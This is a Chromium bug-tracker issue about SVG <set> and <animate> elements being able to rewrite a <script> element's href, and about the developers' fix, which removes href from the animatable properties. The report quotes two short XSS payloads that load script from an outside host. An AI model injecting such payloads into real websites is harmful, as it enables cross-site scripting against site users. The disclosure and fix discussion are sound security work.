Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Issue 679291 SVG animations on non-animatable elements.
Starred by 1 user Project Member Reported by mkwst@chromium.org, Jan 9 Back to list
Status: Fixed
Owner:
OoO until Aug 14
Closed: Jan 11
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 2
Type: Bug

Blocking:
issue 680418



Sign in to add a comment
Clever folks have noted that it's possible to change the `href` attribute of a `<script>` element via things like `<set>` and `<animate>`.

This is somewhat useful for XSS attacks: injecting something like `<svg><set href=#x attributeName=href to=//14.rs />` or `<svg><animate href=#x attributeName=href to=//14.rs />` gets you code execution on the site.

The PoCs don't work in Firefox, and based on a quick skim of what I think is the relevant spec (https://svgwg.org/specs/animations/#AnimationAttributesAndProperties), this shouldn't be possible. Am I reading that right? 

I've CC'd a few folks who know more about SVG than I do. Hopefully one of y'all can triage this to the right person. (fs@, I'm assigning it to you, since you're the last one to explicitly touch animation... thanks!)

I'm not marking this as RestrictView, as the discussion of the bug is already public.
 
The list in the link there applies specifically to the <animateMotion> element, a more pertinent spec link might be https://svgwg.org/svg2-draft/interact.html#ScriptElementHrefAttribute (the "Animatable: no" bit mostly.) I think we end up falling into this hole because of how 'href' on SVGScriptElement is actually an SVGAnimatedString (because it implements SVGURIReference. SVG 1.1 had the same setup, so this is nothing new.) So we have an SVGAnimatedString that can never be animated! href.baseValilicious!
Ok. Hrm. Can we subclass `SVGURIReference` into `SVGURIReferenceThatCanNotBeAnimatedBecauseWhoWouldEverAnimateHrefAttributesThatsWeird`? :)
Project Member Comment 3 by sheriffbot@chromium.org, Jan 9
Status: Assigned
I think an easier path of approach could be to remove this 'href' (and hence also 'xlink:href') from the property-map - that way the animation system would not see it as animatable.
Can you walk me through doing that? I have zero idea how SVG works. :)
Sure, just let me upload the CL first ;-)
Status: Fixed
If we want to merge this (to 56 primarily), I don't think it'll merge cleanly, but rather needs some tending too. Hopefully not too complicated though.
Blocking: 680418
Labels: -Type-Bug-Security Type-Bug
fs@: I don't think we _need_ to merge it to 56; it's not at all a new bug. If you have free time you'd like to fill, however, please go right ahead. :)
Well, if I did think it'd merge cleanly I might've tried already, but since it likely won't, I'll spend those minutes somewhere else until otherwise prompted... =)
Sign in to add a comment